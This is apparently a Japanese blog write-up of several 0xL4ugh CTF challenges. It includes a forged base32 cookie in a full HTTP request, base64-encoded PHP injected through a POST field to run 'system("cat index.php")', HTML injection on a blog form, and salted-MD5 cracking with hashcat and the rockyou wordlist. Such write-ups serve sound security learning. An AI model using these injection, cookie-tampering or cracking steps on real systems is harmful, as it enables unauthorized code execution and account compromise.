kanyewest CTF

勉強したことをメモしています。

0xL4ugh CTF: Write up

Web

Cakes Shop

f:id:tekashi:20210116122153p:plain

適当にボタンを押してCookieをみるとUserInfo=GMYDAMBQGA%3D%3D%3D%3D%3D%3Dという値が入ってることがわかる。これがBase32なのでflagに値する1000000をbase32でエンコードすればよさそう。

f:id:tekashi:20210116122521p:plain

base32でエンコードした結果をCookieに格納してpostするとflagがでてくる。

POST /Cakes/index.php HTTP/1.1
Host: 168.61.100.233
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://168.61.100.233
Connection: close
Referer: http://168.61.100.233/Cakes/index.php
Upgrade-Insecure-Requests: 1
Cookie: UserInfo=GEYDAMBQGAYA====

flag-s=Price+%3A+1000000%24+Click+To+Buy

flag: 0xL4ugh{baSe_32_Cook!es_ArE_FuNny}

Sad_Agent

f:id:tekashi:20210116123233p:plain

f:id:tekashi:20210116123245p:plain

url=ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107でPOSTされていてbase64エンコードされている。

$ echo -n 'ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107' | base64
 -d
echo $_SERVER['HTTP_USER_AGENT'];

phpのコードをbase64エンコードすれば任意のコード実行できそう。

$ echo -n 'echo system("cat index.php");' | base64
ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs=

url=ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs%3DでPOSTする。

<?php

    if (isset($_POST['submit'])) {
        if ($_SERVER['HTTP_USER_AGENT'] === 'sad') {
            echo "<center><br>Hi mr sad Do you know i'm lonly<br></center>";
        } else {
            echo "<center><br><h4>You are not member in sad world you should be sad</h4></center>";
        }
    }

    //$flag = "0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}"

?>

EasyLogin

/EasyBlog.phpで投稿ができるようになっているがここにhtmlインジェクションができる脆弱性がある。

name=test&title=test&mail=test%40test.com&gander=male&blogBody=<s>test</s>でPOSTしてみると

f:id:tekashi:20210116150014p:plain

<s>タグが効いてることがわかる。

そしてソースコード

<!--
Hint: Inject An HTML Tag And Give Him The ID flagHunt
-->

と書いてあるのでhtmlタグでidにflagHuntを指定すればいいっぽい。

<a id=flagHunt >をinjectionすると

f:id:tekashi:20210116150118p:plain f:id:tekashi:20210116150127p:plain

flag: 0xL4ugh{N0_Syst3m_1s_S@f3_3v3n_Y0u}

Programming

Hashem

$ cat hash.txt
bd737ce0d884c0dd54adf35fdb794b60:mmal7            
$ hashcat -m 20 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

bd737ce0d884c0dd54adf35fdb794b60:mmal7:laugh

flag: 0xL4ugh{1_laugh}